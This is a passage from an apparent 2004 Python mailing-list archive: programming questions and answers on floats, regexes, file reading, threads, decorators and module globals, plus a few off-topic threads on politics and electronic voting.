cannot be represented exactly in binary. It is an infinitely repeating fraction. (1234.5 is not, which is why the same thing didn't happen to it.) When you use print, it calls repr() to get the string representation. repr tells you the exact value, as close as possible. That value is as close as you can get to 66.6 using a 64-bit IEEE754 float. str() lies to you to make you happy: >>> str(a[0]) 66.6 -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From roman.yakovenko at actimize.com Tue Sep 7 00:42:35 2004 From: roman.yakovenko at actimize.com (Roman Yakovenko) Date: Tue, 7 Sep 2004 07:42:35 +0300 Subject: os.popen4 and popen2.popen4 undocumented behavior Message-ID: <2D89F6C4A80FA547BF5D5B8FDDD04523060CC5@exchange.adrembi.com> Hi. May be I found bug may be not, but I definitely could not find answer in documentation and GOOGLE. Environment: Windows XP and Python 2.3 Description: I have program that returns negative numbers as errors int main() { return -1; } >>> import popen2 >>> si, so = os.popen4( r'C:\TEMP\test\Debug\test.exe' ) >>> si.close() >>> so.close() Traceback (most recent call last): File "", line 1, in -toplevel- so.close() IOError: (0, 'Error') >>> si, so = popen2.popen4( r'C:\TEMP\test\Debug\test.exe' ) >>> si.close() >>> so.close() Traceback (most recent call last): File "", line 1, in -toplevel- so.close() IOError: (0, 'Error') First of all I don't understand why it makes the difference what is return value of the process. If main will return non negative number all will work just fine. Thanks for help. Roman From cookedm at physics.mcmaster.ca Wed Sep 8 17:51:47 2004 From: cookedm at physics.mcmaster.ca (David M. Cooke) Date: Wed, 08 Sep 2004 17:51:47 -0400 Subject: glossary wiki In-Reply-To: (Skip Montanaro's message of "Tue, 7 Sep 2004 14:08:41 -0500") References: Message-ID: At some point, Skip Montanaro wrote: > Nicolas> I guess it would be nice to put this glossary on > Nicolas> http://www.python.org/moin/. > > That's fine with me. If someone does it let me know and I'll dump mine and > redirect to the relevant page. > > Skip Done; it's the PythonGlossary page, linked off of the Documentation page. (It's very easy when both wikis use MoinMoin :-) -- |>|\/|< /--------------------------------------------------------------------------\ |David M. Cooke http://arbutus.physics.mcmaster.ca/dmc/ |cookedm at physics.mcmaster.ca From narshe at gmail.com Tue Sep 21 13:07:29 2004 From: narshe at gmail.com (Josh Close) Date: Tue, 21 Sep 2004 12:07:29 -0500 Subject: OT: regex to find email In-Reply-To: References: <4a0cafe204092108038020f72@mail.gmail.com> <4a0cafe2040921084828f898d8@mail.gmail.com> Message-ID: <4a0cafe20409211007452a2481@mail.gmail.com> On Tue, 21 Sep 2004 18:53:33 +0200, Remy Blank wrote: > Josh Close wrote: > > Ok, I see how this works.... but now how would I add {3,64} for the id > > and {3,255} for the domain? I forgot to throw that part in earlier. I > > believe a valid id is 3-64 chars and domain is 3-255 chars. > > > > So basically like this > > > > [\w[\w\._-]*]{3,64}@[[\w\._-]{3,255}\.[\w\._-]+] > > > > ......I know that won't work, but I'd like to verify that the id is > > 3-64 chars long, and doesn't start with -._ and the domain is 3-255 > > chars long and doesn't start with -._ but must have a dot and tld's > > like .com.au need to be accounted for also. > > Let's see. Testing for a 3-64 char id should be easy: > > [a-zA-Z0-9][\w\.-]{2,63}@ ... > > You can't use \w in the first bracket, because you want to exclude > the underscore. > > About the domain, I can't remember if the total length is limited, > or if each individual component is. The latter case is easy (say, > for components with lenghts 3-64): > > ... @([\w-]{3,64}\.)+[\w-]{3,64} > > But I suspect this is not yet what you want. If you want to make > sure the total length of the domain is 3-255 chars, you'll have > to extract it after a match and check its length. Extraction could > be done with a named group: > > ... @(?P([\w-]{3,64}\.)+[\w-]{3,64}) > > Although I'm not sure how nested groups are handled. Combining both > parts and defining a group for the id as well gives: > > (?P[a-zA-Z0-9][\w\.-]{2,63})@(?P([\w-]{3,64}\.)+[\w-]{3,64}) > > (All on one line, obviously) > > HTH, > > > -- Remy > Only problem with this is, -name at domain.tld will be caught as name at domain.tld. Basically, if there is a -._ before the name, then I don't want to capture the whole email. So it would be a -._ preceded by a \s I guess. Maybe I could do a \s(?![\.\-\_]) before the search you suggested. -Josh From steven.bethard at gmail.com Sat Sep 11 02:11:29 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Sat, 11 Sep 2004 06:11:29 +0000 (UTC) Subject: java References: <6712b7e.0409102159.42cd71d4@posting.google.com> Message-ID: Demo yahoo.com> writes: > > What computer science concepts can I learn from Java and not from Python? Mainly, things that derive from static typing: * Method overloading * Interface declarations (there are ways to simulate this in Python, but the effect is not identical) * Checked exceptions (though I'm not convinced this is really something you need to learn) I'm sure there are more, but these're what jumped into my mind. Can't say I really miss any of them. ;) Steve From ptmcg at austin.rr._bogus_.com Fri Sep 17 09:25:13 2004 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Fri, 17 Sep 2004 13:25:13 GMT Subject: [Python-Dev] Strawman decision: @decorator won't change References: <15mlk0d63duukvnqtsrb4eguuldqd6ub2g@4ax.com> Message-ID: "Arthur" wrote in message news:15mlk0d63duukvnqtsrb4eguuldqd6ub2g at 4ax.com... > And were it opened for debate you would run into bizarre arguments in > its defense. Like mine. > Well, it *is* opened for debate, so knock yourself out. The more bizarre the better, I'd say. > That there a mechanism in Python described by a arbitrary word, > "decorator" and provoked by an arbitrary symbol '@' > > The symbol *works*, as a sore thumb and a tacit admission of > something, > Why do STOP signs say STOP? Why not put an arbitrary @ sign on them, and tell everyone it means STOP? Your argument is equally valid for *any* symbol. Why choose this ugly blot? This arbitrary symbology is the way of Perl and APL. I thought one of the beauties of Python was that it doesn't impose this kind of obtusity on the developer or maintainer. > It is defended in this view by its anti-esthetic. > Are you a Dada-ist? Is Python becoming the Dada language? (http://arthistory.about.com/cs/arthistory10one/a/dada.htm) > Having to put up with this kind of argument in its defense is perhaps > a good reason to not re-open the discussion. > This sounds like another way of saying "this is a silly argument, and we would be better off without it." The point is, just about *all* the arguments for this symbol or that will from here on *be* silly arguments. -- Paul ''Suppose someone were to assert: The gostak distims the doshes. You do not know what this means; nor do I. But if we assume that it is English, we know that 'the doshes are distimmed by the gostak'. We know too that 'one distimmer of doshes is a gostak' . If moreover, the 'doshes are galloons', we know that 'some galloons are distimmed by the gostak'. And so we may go on, and *so we often do go on.*'' >From "The Meaning of Meaning" by C.K.Ogden and I.A. Richards From adalke at mindspring.com Thu Sep 30 17:53:21 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 30 Sep 2004 21:53:21 GMT Subject: Reading a text file backwards In-Reply-To: References: Message-ID: Jay wrote: > Only, I want to iterate backwards, starting with the last line of the file. > Can anybody suggest a simple way of doing this? Do I need to jump around > with myfile.seek() and use myfile.readline() ? Python Cookbook has a recipe. Or two. http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/276149 http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/120686 I've not looked at them to judge the quality Another approach is to read the lines forwards and save the starting line position. Then iterate backwards through the positions, seek to it and read a line. def find_offsets(infile): offsets = [] offset = 0 for line in infile: offsets.append(offset) offset += len(line) return offsets def iter_backwards(infile): # make sure it's seekable and at the start infile.seek(0) offsets = find_offsets(infile) for offset in offsets[::-1]: infile.seek(offset) yield infile.readline() for line in iter_backwards(open("spam.py")): print repr(line) This won't work on MS Windows because of the '\r\n' -> '\n' conversion. You would instead need something like def find_offsets(infile): offsets = [] while 1: offset = infile.tell() if not infile.readline(): break offsets.append(offset) return offsets Just submitted this solution to the cookbook. Andrew dalke at dalkescientific.com From gumuz at NO_looze_SPAM.net Fri Sep 24 07:12:37 2004 From: gumuz at NO_looze_SPAM.net (Guyon Morée) Date: Fri, 24 Sep 2004 13:12:37 +0200 Subject: file read, binary or text mode Message-ID: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> what is the difference? if I open a text file in binary (rb) mode, it doesn't matter... the read() output is the same. From jmfbahciv at aol.com Fri Sep 10 08:39:57 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Fri, 10 Sep 04 12:39:57 GMT Subject: Xah Lee's Unixism References: <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <10k1a13rnpc2p94@corp.supernews.com> Message-ID: <4141b3bc$0$6910$61fed72c@news.rcn.com> In article <10k1a13rnpc2p94 at corp.supernews.com>, Jeff Shannon wrote: >jmfbahciv at aol.com wrote: > >>In article <10juvnrt88k4868 at corp.supernews.com>, >> Jeff Shannon wrote: >> >> >>> >>>Here there's a lot of room to disagree -- it's a tragedy when U.S. >>>citizens are killed, but it's an even greater tragedy when the entirety >>>of the U.S. loses its freedoms in the name of "security". >>> >>> >> >>Okay, that's it! Tell me what freedoms you have lost. Be specific. >>No sound bytes and no rhetoric parroting allowed. >> >>I really want to know. People keep saying this but never say which >>freedoms have been lost. >> >> > >I've lost the freedom to read whatever books I want, without the >government snooping over my shoulder. You lost that before 9/11; its cause was tranferrring library catalogs and book tracking online. > >I've lost what little was left of the freedom to presume that the >government isn't listening to my phone calls and scanning my email. This is not a freedom. >(This particular freedom has been being eroded for decades, but the >Patriot Act is pretty much the final nail in the coffin.) Are you kidding? Did you live through the McCarthy and Hoover eras? Hoover as in FBI, not president. AFAICT, this Patriot ACt at least leaves a paper trail. > >I've lost the freedom from the assumption that, if I read certain books >and speak of believing in certain principles, I'm not necessarily going >to act in a criminal manner to further those principles. (If I loudly >proclaim that the government is horribly wrong, and I also happen to buy >a copy of something like, say, The Anarchist's Cookbook... I'm now >liable to be perceived by the government as a terrorist, and thus be >subject to arrest and imprisonment with no charges being filed and no >access to legal recourse. How did you get this conclusion? Has a US citizen bought the book, only yakked about it and then was arrested and imprisoned with no trail or arraignment? > .. It doesn't matter whether the government can >*prove* that I planned anything, or even if I can prove that I have no >such plans -- there's no opportunity for me to offer or dispute evidence.) > >I have a good friend who's a (European) immigrant. It is now legal for >the government to detain her for any length of time they so desire, >without giving any reason more definite than "suspected involvement in >terrorism" -- and with *no* need to provide any evidence to back that >claim. Whether it's been done or not is irrelevant -- she's very much >aware of the feeling that, despite the fact that she's been living and >working in the US for most of her adult life, the mere fact that she's >not "American" makes her immediately suspect, and potentially subject to >being "disappeared". People are not being made to disappear. YOu do know what that term means? > .. Trusting to the goodwill and honesty of the >government to *not* use its authority is, to say the least, not exactly >heartening. You have been doing it all your life. > >Most importantly, I've lost the freedom to live my life *without* >feeling quite so much like Big Brother is just waiting for me to make a >mistake, so that the rest of the US can be "saved" from terrorism. Now I know you didn't live through the Nam war. > >(I've said my piece, but I don't expect we're likely to ever reach an >agreement. So, especially considering that I don't feel that >comp.lang.* is really an appropriate place for political discussion, I >won't be commenting further in this subthread.) This is not a political discussion. /BAH Subtract a hundred and four for e-mail. From ville at spammers.com Sun Sep 26 16:36:07 2004 From: ville at spammers.com (Ville Vainio) Date: 26 Sep 2004 23:36:07 +0300 Subject: [OT] "Pre-announcement" of Python-based "computing appliance"project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <89adnWTWC6JVscncRVn-uw@giganews.com> <10l90qcihqrjba1@corp.supernews.com> Message-ID: >>>>> "Stephen" == Stephen Waterbury writes: >>> A thing like "probability" just can't exist in the ultimate Reality. Stephen> What makes you so sure that "ultimate Reality" is a well-formed Stephen> (logically consistent) concept? QM may be the ultimate framework I have yet to see nothing indicating the opposite. Even the logical inconsistence would have something behind it, directing the process. Stephen> for an observer/observable-based theory of physics, and Stephen> since the observer/observable paradigm is fundamental to Stephen> science, it might be "as good as it gets", in which case Stephen> an "ultimate reality" that is meaningful in the context Stephen> of the scientific method might well require probability. "Ultimate reality" whose meaning is limited by the context of scientific method isn't all that "ultimate", is it? ;-) Stephen> Of course, if you want to transcend observer/observable, Stephen> you have to go beyond science, and into the realm of Stephen> "Cosmajoonity" (see Freeman Dyson's delightful book Stephen> "Disturbing the Universe" :). Going beyond science is exactly what I'm after when talking about ultimate reality - it's mostly a "religious" concept, more relevant to a mystic having a yogic peak experience than a scientist. Still, I'm delighted to see anti-deterministic theories being debunked also in the scientific circles. Scientists are perhaps a bit too eager to think that they are beginning to understand ultimate reality when they just have some new theories that support their empiric data. BTW, congratulations on being the first one to use the word "Cosmajoonity" on the internet, according to google at least :-). -- Ville Vainio http://tinyurl.com/2prnb From anthonybaxter at gmail.com Wed Sep 1 11:14:56 2004 From: anthonybaxter at gmail.com (Anthony Baxter) Date: Thu, 2 Sep 2004 01:14:56 +1000 Subject: initializing mutable class attributes In-Reply-To: References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> <1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com> Message-ID: On Wed, 01 Sep 2004 14:54:06 GMT, Dan Perl wrote: > Not in Python. A user of my library has to invoke the parent's class > __init__ in their own __init__. What happens if, in a future release, I get > rid of the __init__ in the parent class? Or the other way around. An early > release does not have a parent __init__, the users don't invoke it because > they can't, and then, in a future release, I add the parent __init__ because > I added some attributes. It breaks all the users' code. This is poor > encapsulation. Use 'super()', in that case. http://www.python.org/dev/doc/devel/lib/built-in-funcs.html#l2h-70 From jeff at ccvcorp.com Thu Sep 9 15:35:39 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Thu, 09 Sep 2004 12:35:39 -0700 Subject: Variable passing between modules. In-Reply-To: <41408fd3$1@pfaff2.ethz.ch> References: <41408fd3$1@pfaff2.ethz.ch> Message-ID: <10k1c22n3k07pbb@corp.supernews.com> Josef Meile wrote: > Golawala, Moiz M (GE Infrastructure) wrote: > >> The example that I provided was very simplistic. I have a tones of >> methods in module 2 and the method need to get executed and need the >> someVar value. >> I was thinking like setting up some a value in some global VM list >> which can be accessed by all modules. > > > You could do this: > > module1: > > varDict={} > varDict['foo1']='hello' > varDict['foo2']='world' > > module2: > > from module1 import varDict > > print varDict.get('foo1') > print varDict.get('foo2') But if you need to import module2 in module1, you'll have problems with circular imports. (Using 'from module import name' doesn't prevent Python from needing to process the entire module; it just means that only 'name', and not 'module', is added to your namespace.) If you really need a big set of global variables (a practice which, in general, I'd recommend avoiding), then at very least you should create a globals.py module which contains nothing but these variables. Other modules can then 'import globals; print globals.myvar' or whatever. This is, at least, cleaner than C globals, since it can also be viewed as establishing a configuration object which passively maintains application state (and which just happens to be an instance of ModuleType). Jeff Shannon Technician/Programmer Credit International From godoy at ieee.org Thu Sep 16 22:49:24 2004 From: godoy at ieee.org (Jorge Godoy) Date: Thu, 16 Sep 2004 23:49:24 -0300 Subject: Economic considerations References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> Message-ID: claird at lairds.us (Cameron Laird) writes: > Incidentally, my expert sources emphasize to me that GIMP still > has a long way to go before it effectively rivals Photoshop. I've been told that too. Maybe because I'm not into the graphics area I think it works pretty well :-) There are other tools such as SodiPodi, too... In fact, we might already have tools to do everything Photoshop does. The difference is that we try to keep it simple (KISS) and bundle several specialized tools, while Photoshop tries to be a swiss army knife, bundling everything together. I'm hearing more the FUD of "I want to use Linux but then I have to use one thousand commands and programs to get the same results I get with on ". -- Godoy. From daniel.dittmar at sap.corp Wed Sep 29 06:59:09 2004 From: daniel.dittmar at sap.corp (Daniel Dittmar) Date: Wed, 29 Sep 2004 12:59:09 +0200 Subject: (no subject) In-Reply-To: References: Message-ID: <415A957D.7010901@sap.corp> Max Russell wrote: > Is this the wrong list for tutorials? If so can > someone point me at the correct one so Ic an subscribe > to that instead? tutor at python.org: (http://mail.python.org/mailman/listinfo/tutor) A moderate-volume mailing list for folks who want to ask questions while learning computer programming with Python. But people on this mailing list / newsgroup are generally helpful as well, even to starters. And you're probably also interested in http://www.python.org/topics/learn/ Daniel From aleaxit at yahoo.com Sat Sep 4 09:58:08 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 15:58:08 +0200 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> Message-ID: <1gjlif4.km81clrhaw5vN%aleaxit@yahoo.com> Andrew Durdin wrote: ... > > and time now return, may be a different issue. Not sure why we never > > made declaring such pseudotuples as usertypes as easy as it should be, a > > custom metaclass in some stdlib module shd be enough. But tuples whose ... > Such "pseudotuples" are easy enough to implement. Since I'm not all > that crash hot with metaclasses, I just made a tuple subclass (see > below). Would a metaclass implementation offer any significant > benefits over a subclass? I think of a tuple with a given sequence of names for its fields as a type (a subclass of tuple, sure). For example, the name->index correspondence for all the pseudotuples-with-9-items returned by module time is just the same one -- why would I want to carry around that dictionary for each INSTANCE of a time-pseudotuple, rather than having it once and for all in the type? So I'd have, say: example_type = tuple_with_names('foo', 'bar', 'baz') assert issubclass(example_type, tuple) and then I could make as many instances of this subclass of tuple as needed, with a call like either example_type(1,2,3) or example_type(baz=3,foo=1,bar=2) [the first form would accept 3 positional arguments, the second one 3 named arguments -- they're all needed of course, but passing them as named will often result in clearer and more readable application-level code]. You prefer to specify the names every time you make an instance and build and carry the needed name->index dict along with each instance. Ah well, I guess that's OK, but I don't really see the advantage compared to the custom-metaclass approach. > (Submitted to the Cookbook: recipe #303439) Great, thanks -- I should get the snapshot tomorrow (or whenever they do start working again over in Vancouver, since I get it from ActiveState:-) and I'll be happy to consider presenting your approach (and a custom metaclass for contrast;-). Alex From adurdin at gmail.com Thu Sep 2 01:23:31 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Thu, 2 Sep 2004 15:23:31 +1000 Subject: age of Python programmers In-Reply-To: <822221bb04090109167035d328@mail.gmail.com> References: <889cbba0.0408181206.1812881c@posting.google.com> <6amZc.17353$ni.8118@okepread01> <822221bb04090109167035d328@mail.gmail.com> Message-ID: <59e9fd3a040901222338f0a75c@mail.gmail.com> There seem to be a lot of Pythoneers who started with BASIC -- I guess that's what came with most "home computers" in those days. I started at 8 with BASIC on an Amstrad CPC6128 (though I played games more than I wrote programs :). From bokr at oz.net Thu Sep 23 15:53:37 2004 From: bokr at oz.net (Bengt Richter) Date: 23 Sep 2004 19:53:37 GMT Subject: Call for suggestions: Declaring data entry forms using Python classes References: Message-ID: On Thu, 23 Sep 2004 13:36:19 -0300, Carlos Ribeiro wrote: >Hello all, > >I'm posting this to the list with the intention to form a group of >people interested in this type of solution. I'm not going to spam the >list with it, unless for occasional and relevant announcements. If >you're interested, drop me a note. But if for some reason you think >that this discussion is fine here at the c.l.py, please let me know. > No comment for now other than suggesting replacing pass with def __repr__ in class Component(object): def __repr__(self): return '' % type(self).__name__ for a more userfriendly printout. Interesting stuff. I wonder about one-dimensional position vs composing with various top/left/right/bottom/fill aggregation indicator info etc. Also wonder if just plain defining your own python-inspired but not python-constrained language for expressing what you want to express might not be a viable alternative, given the nice tools for language processing that are part of the open python kit. IOW, you are using python in a certain way in order to be able to "spell" your form-descriptions in a certain way. How would you spell them if you were not constrained by python syntax? Regards, Bengt Richter From __peter__ at web.de Thu Sep 2 07:02:00 2004 From: __peter__ at web.de (Peter Otten) Date: Thu, 02 Sep 2004 13:02:00 +0200 Subject: __doc__ of current function? References: <62e3db01.0409012325.4d42bb45@posting.google.com> Message-ID: Ksenia Marasanova wrote: >> >> ... can I write a general docOfCurrentFunction() function so that I >> can rewrite it: >> >> def validatePassword(p): >> 'do something' >> print docOfCurrentFunction() >> > > def docOfCurrentFunction(): > import sys > func_name = sys._getframe(1).f_code.co_name > return eval(func_name + '.__doc__') > > But I hope that a more intelligent way exists than using 'eval' :) Maybe >>> import sys >>> def caller(): ... f = sys._getframe(1) ... return f.f_globals[f.f_code.co_name] ... >>> def demo(): ... "Demo docstring" ... print caller().__doc__ ... >>> demo() Demo docstring >>> Or can that fail in some cases? Peter From kangell at alertra.com Wed Sep 29 11:26:43 2004 From: kangell at alertra.com (Kirby Angell) Date: Wed, 29 Sep 2004 10:26:43 -0500 Subject: Maximum number of threads In-Reply-To: <415abdaa$1_1@omega.dimensional.com> References: <415abdaa$1_1@omega.dimensional.com> Message-ID: Michael Fuhr wrote: > What happens when you hit this "hard limit"? If there's an error > message then it might hint at the problem. If I run this program: import thread, time def t(parm1,parm2): time.sleep( 1000 ) tc = 0 try: while 1: thread.start_new_thread( t, (None,None) ) tc += 1 time.sleep( 0.05 ) finally: print tc This is the result: $ python t.py 404 Traceback (most recent call last): File "t.py", line 12, in ? thread.start_new_thread( t, (None,None) ) thread.error: can't start new thread > I'm not current on Linux threading models -- do these versions of > Linux create a new process for each thread? If so, could resource > limits be preventing you from creating more threads? I don't think Linux creates a new process for each thread. Sure seems like this would have to be something related to python since 2.2 could create a thousand or more threads. Although I have to admit that it is odd that the maximum number of threads I can create on RH9 is different than on FC2. From brenNOSPAMbarn at NObrenSPAMbarn.net Sun Sep 26 01:35:03 2004 From: brenNOSPAMbarn at NObrenSPAMbarn.net (OKB (not okblacke)) Date: 26 Sep 2004 05:35:03 GMT Subject: up with PyGUI! References: <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> <864d3709040924070115d9d98a@mail.gmail.com> <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com> <864d370904092515311da67bb6@mail.gmail.com> Message-ID: Bengt Richter wrote: > myFrame = ( > Frame( > Sizer( > CustButton(size= ... etc), > CustButton(size= ... etc), > Panel( > Sizer( > CustListBox(etc), > CustListBox(etc), > CustButton(etc), > Text( etc ) > ) > ) > ) > ) > ) One problem with this is that it's not possible to define methods on your widgets in this kind of structure. >>If Python's syntax were more flexible, this could perhaps be done >>in other ways -- I'm not saying I want that -- but as it is the >>only real way to construct nested structures in Python is with >>class definitions. > You don't mean that ("...only real way...") as broadly as it > sounds, do you? Sorry, you're right. Obviously dictionaries and lists can be nested. A key point, though, is the one I mentioned above: classes are the only structure which allow you define nested structures with arbitrary in-line code. The "in-line" proviso there may seem obtuse, but I think it's important. For instance, if you define a button, you should be able to define the event handler for a click on that button right there, as part of writing the button code. Having to separate the event-handling code out into a separate routine leads to spaghettification, and also introduces a bunch of naming problems (you need to have a consistent naming convention that links a widget to its event handler). (Also, just for the record: I know you can nest function definitions in other functions, but this isn't useful here because there's no way to access the nested function definition from outside the enclosing function, whereas you can reference nested classes with normal attribute access.) -- --OKB (not okblacke) Brendan Barnwell "Do not follow where the path may lead. Go, instead, where there is no path, and leave a trail." --author unknown From zanesdad at bellsouth.net Thu Sep 30 11:31:32 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Thu, 30 Sep 2004 11:31:32 -0400 Subject: multiple instance on Unix In-Reply-To: <415c212d$0$10209$a1866201@newsreader.visi.com> References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> <415C05E5.5040108@hotmail.com> <415c212d$0$10209$a1866201@newsreader.visi.com> Message-ID: <415C26D4.5080707@bellsouth.net> Grant Edwards wrote: >On 2004-09-30, Nigel King wrote: > > >>On 30 Sep 2004, at 14:11, C Ginger wrote: >> >> >> >>>I know the approach to creating a lock file has been around a >>>long time but there are certain weaknesses to it. There are a >>>number of race conditions in it. For instance if process A >>>detects the directory isn't there it will attempt to create >>>it. During that same time process B might also not find it >>>there - since A hasn't completed its create yet. >>> >>> >>This was why I created a directory rather than a file since I >>thought this was supposed to be atomic. >> >> > >AFAIK, creating a file is atomic as well. It's the approach >that's been used by Unix applications for the past 30 years, so >if it wasn't atomic, I would think somebody else would have >noticed the problem and switched to using a lock directory >before now. > > > Right. But I think the OP's point was that os.mkdir() raises an exception if a directory already exists, so you can wrap that in a while loop and just keep doing try: os.mkdir('/foo') except OSError: time.sleep(1) #do stuff os.rmdir() and once you get in the #do stuff section, you know you have an exclusive lock. Until this posting, I didn't know that: os.open('f.txt', os.O_CREAT, os.O_EXCL) would basically do the same thing. Jeremy Jones -------------- next part -------------- An HTML attachment was scrubbed... URL: From fredrik at pythonware.com Sun Sep 19 05:37:54 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 19 Sep 2004 11:37:54 +0200 Subject: Interactive Console for Win32 Application References: Message-ID: Devrim Erdem wrote: > I am on win32 with python2.2. > > My python added C++ app is an OpenGL application so there is no real > GUI code around it. I have built in the python interpreter which works > very great. I would like to have the opportunity to popup a console > from my application which has access to the python module which is > defined and instantiated in my application. > > If I had the time, I would implement a Quake like console. To save > time, I wanted to check if there is already a way of doing this on > Windows. I'll leave it to you to write the code that reads a line from the user, but once you have that in place, the "code" module provides the rest: http://www.python.org/doc/current/lib/module-code.html outline: console = code.InteractiveConsole() myconsole = DisplayMyConsole(callback=console.push) sys.stdout = myconsole.get_output_handler(WHITE) sys.stderr = myconsole.get_output_handler(RED) myconsole.enter_event_loop() (where the callback argument is called whenever the user enters a new line, and get_output_handler returns a file-like object that prints to the console window (it must implement a "write" method, but that's about it). From aleaxit at yahoo.com Mon Sep 6 03:24:05 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 09:24:05 +0200 Subject: Inline Conditionals? References: <1gj4rpq.1oyt89b14xvbdqN%aleaxit@yahoo.com> <1gj5bit.rt2tmzcznspxN%aleaxit@yahoo.com> <7xbrgxobts.fsf@ruckus.brouhaha.com> <1gj5eu6.11pmwsddky84nN%aleaxit@yahoo.com> Message-ID: <1gjopop.1qle37n1utd7prN%aleaxit@yahoo.com> Martin Maney wrote: > Alex Martelli wrote: > > Paul Rubin wrote: > >> more readable and harder to get wrong, unlike your sparse example, > >> which has 'foo' on both branches of the conditional where you meant > >> 'foo' and 'bar'. > > > ....as several people already noticed, proving the great readability of > > the sparse way of expressing oneself... > > Amazing. If a typo slips into something you dislike then you cite that > as proof of how bad it is. When it happens to you while showing off > your preferred form, it becomes, by prestidigitation, proof of how good > that is. Clearly this is determined by nothing at all like logic. It's not the typo that "becomes proof" (or, rather, indication) of the higher readability of sparse expression: it's the fact that so many readers noticed it and let me know, privately or publically. Why do you think it's illogical to observe that? Typos and other errors are easier to see when they're part of very readable code than when they're part of dense, obfuscated code -- seems perfectly logical to me. Anything that requires the same name (or whatever) to be entered more than once can be subject to more typos than a form in which you enter the information only once -- ameliorating which is a better chance for a human reader to catch a typo due to the redundancy (while if the info is entered only once there is no such redundancy and any catch needs to be based on deeper understanding). This might be relevant, say, when discussing += vs = + -- when is sufficiently complicated the second form may have such issues which the first one avoids, and there's no real chance of introducing a short, simple temporary name to ameliorate things. This is not quite germane to the discussion at hand, though. Alex From python at rcn.com Thu Sep 9 04:16:09 2004 From: python at rcn.com (Raymond Hettinger) Date: 9 Sep 2004 01:16:09 -0700 Subject: Decorator for Binding Globals into Constants Message-ID: <5d83790c.0409090016.54d50591@posting.google.com> FWIW, I've recast the constant binding recipe into decorator form: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/277940 Now, optimizing global access is as easy as attaching a decorator. If you used to write: def myfunc(data, _len=len): . . . You can now write: @bind_constants() def myfunc(data): . . . Any references to len() or other globals will be made local. This can optimize module globals and recursive functions as well. It also works on methods defined in class definition blocks. Enjoy, Raymond Hettinger P.S. When writing @bind_constants(), be sure to include the parentheses. There's a big difference between decorators that take arguments and those that don't. This one does. From elainejackson7355 at home.com Fri Sep 17 05:19:26 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Fri, 17 Sep 2004 09:19:26 GMT Subject: dummy tk windows References: Message-ID: "Paul Miller" wrote in message news:pan.2004.09.17.04.39.08.814115 at adelphia.net... HTH It did. Thank you. I made a wrapper for this stuff that I'll include here for the benefit of anyone who may be following the discussion from the sidelines. Peace def dialog(className): from Tkinter import Tk from tkFileDialog import Open,SaveAs,Directory Tk().withdraw() name = eval(className)().show() if className=='Directory': return name mode = (className=='Open' and 'r') or (className=='SaveAs' and 'w') return file(name,mode) From usenet_spam at janc.invalid Mon Sep 13 23:42:33 2004 From: usenet_spam at janc.invalid (JanC) Date: Tue, 14 Sep 2004 03:42:33 GMT Subject: Electronic voting feasibility References: <28KdnThSO7DtM9zcRVn-pQ@powergate.ca> <8PWdnfxkGeIFWNzcRVn-qQ@giganews.com> <_4KdnfDylt2TSdzcRVn-pg@powergate.ca> Message-ID: Peter Hansen schreef: > Istvan Albert wrote: > >> Looking at what they claim, that in 2003 they discovered a back door >> affecting every evoting machine, a backdoor that requires >> a 2 digit code to overwrite the votes stored in the system, >> moreover even a year later every system has this same flaw... >> >> I don't find this credible, ... > > Maybe, but I've found other articles that said that the Diebold > machines *all* had a hardcoded password of "1111" at one point... > not a stretch to think they also had a simplistic backdoor like that. > > The president of the company says they "are not incompetent", so > we might as well believe him, though, and not Bev Harris. ;-) They are very competent security gurus: ;-) -- JanC "Be strict when sending and tolerant when receiving." RFC 1958 - Architectural Principles of the Internet - section 3.9 From rnichol_rrc at yahoo.com Fri Sep 10 16:51:33 2004 From: rnichol_rrc at yahoo.com (Reid Nichol) Date: Fri, 10 Sep 2004 15:51:33 -0500 Subject: python and bit shifts and byte order, oh my! In-Reply-To: References: <9490d.126$KA1.1800@news1.mts.net> <4141e6f2$0$67058$a1866201@newsreader.visi.com> Message-ID: Jason Lai wrote: > If efficiency isn't important, you could forget about the whole > byte-order thing and just read/write it byte-by-byte. Then you can think > of the file as a bit-stream (everything gets written in order and read > back in order), although you still have to read/write a whole 8-bit byte > at a time. > > - Jason Lai Since the format can have: 5bit 24bit 24bit I assumed that I would have to write byte by byte. And I don't really consider speed important so I think that it's viable to do it this way. @Grant This is what I meant. From joewong at mango.cc Thu Sep 23 04:58:16 2004 From: joewong at mango.cc (Joe Wong) Date: Thu, 23 Sep 2004 16:58:16 +0800 Subject: Access to 